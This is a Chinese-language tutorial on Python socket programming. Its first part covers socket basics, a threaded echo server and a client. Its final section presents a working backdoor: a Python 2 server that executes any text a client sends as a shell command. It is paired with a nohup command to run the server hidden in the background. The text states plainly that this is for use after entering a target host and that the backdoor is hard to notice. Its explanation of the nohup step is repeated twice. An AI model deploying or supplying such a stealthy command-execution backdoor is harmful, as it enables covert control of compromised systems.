socket 网络编程
之前在编写四层发现的代码时都是使用TCP/UDP协议, 但是看了很多的代码都是用socket来完成的,所以就 来学习一下socket
什么是socket
网络中的两台主机之间进行通信,本质上是主机中所 运行的进程之间的通信,两个进程如果需要进行通信 ,最基本的前提是每一个进程要有一个唯一的标识。
在本地进程通信中可以使用PID来唯一标识一个程, 但PID在 本地是唯一,可以用 "IP地+ 协议+端口号" 来组成唯一标识的网络进程,这就是socket
无论使用何种网络协议,最本质上都是在进行数据 的收发,发和收,这两个动作就是socket处理数据 的主要方式
socket的工作流程
- socket 采用C/S 模式,分为服务端和客户端
- 服务端数据处理流程
- 创建socket -> 绑定到地址和端口 -> 等待连接 -> 开始通信-> 关闭连接
- 客户端数据处理流程
- 创建socket -> 等待连接 -> 开始通信-> 关闭连接
- 客户端没有绑定地址和端口,是由于客户端进程采用的是随机端口,当客户端要去连接目标时,会由系统自定分配一个端口号和自身ip地址去组合
python3 socket服务端程序
# !/usr/bin/python3
# !coding:utf-8
import socket
from threading import Thread
def server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", 5432)) # ip地址和端口要求以元组的形式传递,所以这里是两对括号
s.listen(5)
while True: # 一直被动等待连接,除非手动关闭,否则程序一直是运行的状态
try:
client, addr = s.accept() # client 是为连接过来的客户端创建的对象
# addr则是存放了客户端连接过来的ip和端口
print("connected by", addr)
t = Thread(target=Client_Handle, args=(client,))
t.start() # 多线程接收多个客户端的信息
except KeyboardInterrupt:
break
def client_handle(client):
while True:
result = client.recv(1024).strip()
if not result: # 当客户端断开连接后,服务端会一直接收到空的内容
continue # 因而也要进行处理,收到空的内容就断开连接
result = result.decode("utf-8") # 以指定的编码格式解码 bytes 对象
if result == "exit": # 如果客户端发来的是exit那将断开连接
break
print(result)
client.sendall(result.encode("utf-8"))
# encode()方法是将str字符串指定的编码格式
# 不停的把客户端发送的数据返回
client.close()
if __name__ == "__main__":
server()
socket类的参数
socket.AF_INET表示socket使用ipv4地址进行主机之间 的通信, socket.SOCK_STREAM表示使用TCP协议
AF表示 address family 地址族,除了AF_IINET之 外,还可以使用AF_INET6表示ipv6地址,用AF_UNIX 表示单一的unix系统进程通信
tcp用SOCK_STREAM表示,udp用SOCK_DGRAM表示 tcp在发送数据时会将数据进行拆分,数据就像流水一 样进行传输,因为称为stream
udp时将数据整体发送,因为称为datagram 简称DGRAN
如果服务端和客户端采用UDP进行通讯,代码为: * s = socket.socket(socket.AF_INET,socket.SOCK_DRAM) * socket.socket()不填的话默认两个参数为socket.AF_INET,socket.SOCK_STEAM
代码解析
- s.bind(("",6000))
- 将socket绑定到ip和端口,如(“192.168.1.1”,6000,) ,ip部分为空则表示采用本地地址
- 需要注意一点时s.bind()在AF_INET模式下要求以元组的方式表示ip和端口,,所以必须是有两对括号的,少了就报错
- s.listen(1)
- 开始监听tcp传入连接,1是指服务端允许的客户端最大连接数,该值最少为1,大部分应用程序设置为5即可
- client,addr = s.accept()
- s.accept()接受tcp连接并返回(conn,address)其中conn是新的套接字对象,可以用来收发数据,addresss是连接客户端的地址
- 由于s.accept()会接收两个数据,因而这里赋值给两个变量client和addr
- client.send()
- 向连接上来的客户端发送数据,服务端与客户端之间不能发送列表,字典,元组只能发送字符串。
- 发送数据还有sendall()方法,tcp协议有时可能要把发送的数据先缓存,等一段时间再发送,send方法不一定会立即发送数据,而sendall()方法可以立即发送
- encode()是可以将String类型的数据转化成字节类型的,不进行这步操作,python3会发送失败(python2 socket则不用进行这步操作),而deconde则是对数据以指定的编码方式解码,默认编码格式UTF-8
- text = client.recv(1024)
- 接收tcp套接字的数据,数据以字符串的方式返回,1024为指定接收的最大数据量
- setsockopt(socket.SOL_SOCKET,SO_REUSEADDR,1)
- 加入socker配置,重用ip和端口
- setsockopt(level,optname,value)接收三个参数,第一个参数socket是套接字描述符。第二个参数level是被设置的选项的级别,第三个参数是设置第二个参数的值
- socket.SOL_SOCKET,如果想要在套接字级别上设置选项,就必须把level设置为 SOL_SOCKET
- SO_REUSEADDR,打开或关闭地址复用功能。当option_value不等于0时,打开,否则,关闭。
客户端脚本
#! coding:utf-8
import socket
def py2_client():
"""python2 socket client"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.102", 6000))
while True:
text = raw_input("Plase input:").strip() # raw_input 将用户的输入转化成字符串(该函数以在python3取消)
if len(text) == 0: # 避免用户输入空格后程序卡死
continue
s.send(text)
result = s.recv(1024)
print result
if result == "exit":
break
s.close()
def py3_client():
"""python3 socket client"""
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("192.168.3.102", 6000))
while True:
text = input("Plase input:").strip()
if len(text) == 0: # 避免用户输入空格后程序卡死
continue
c.sendall(text.encode("utf-8"))
# encode()可以将String类型的数据转化成字节类型
if text == "exit":
break
response = c.recv(1024)
print(response.decode("utf-8")) # 将接收自服务端的数据以utf-8编码方式解码
c.close()
if __name__ == '__main__':
# py2_client() # 执行py2需要将解释器设置为python2.7
py3_client() # 执行py3需要将解释器设置为python3.7
- 服务端上用了while循环让连接一直是打开的除被动等待连接
- 而客户端则是对用户的输入做了过滤,且加入了while循环可以无限输出内容
socket shell
进入到目标主机之后就可以自己编写socket 连接反 shell回来,且是在后台进行的不留意的话可能还发现不了
这一功能的实现是靠subprocess模块实现的,将客户端 的输入当作命令去执行,并返回执行结果
- subprocess.check_output(cmd,shell=True) ,check_output开启一个子进程用shell在后台执行命令,并返回结果,
- python2 socket 建立的shell比python3 建立的效果较好,python3 socket收发信息需要将字符进行加解码,导致排序很乱。所以下面的socket shell 使用python2 编写的。
服务器运行脚本
#!/usr/bin/python2.7
# !coding:utf-8
import socket
from threading import Thread
import subprocess
def server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 3000))
s.listen(5)
while True:
try:
client, addr = s.accept()
print
"connected by", addr
t = Thread(target=client_handle, args=(client,))
t.start()
except KeyboardInterrupt:
break
def client_handle(client):
while True:
cmd = client.recv(1024).strip()
if not cmd:
break # 将客户端的输入当作命令执行,执行结束后返回结果
result = subprocess.check_output(cmd, shell=True)
client.sendall(result) # 向客户端返回执行结果
if result == "exit":
break
client.close()
if __name__ == "__main__":
server()
运行socke shell
nohup python py2_server_shell.py > nohub.out 2>&1 &
- 使用&命令时,关闭当前控制台窗口或退出当前帐户时,作业就会停止运行。
nohup命令则可以在退出帐户或关闭窗口后继续运行进程。
nohup即no hang up[不挂起]。- 将所有的输出都重定向到nohub.out文件中
- 2>&1 也就表示将错误重定向到标准输出上
- 上面这行命令会将脚本在后台运行且将所有输出都重定向了,如果不留意进程是很难发现了开后门了的。
客户端正常连接来即可,不用单独写脚本。客户端发送的所有内容到服务端都会当作命令去执行
nohup命令则可以在退出帐户或关闭窗口后继续运行进程。 nohup即no hang up[不挂起]。
- 将所有的输出都重定向到nohub.out文件中
- 2>&1 也就表示将错误重定向到标准输出上
- 上面这行命令会将脚本在后台运行且将所有输出都重定向了,如果不留意进程是很难发现了开后门了的。
客户端正常连接来即可,不用单独写脚本。客户端发送的所有内容到服务端都会当作命令去执行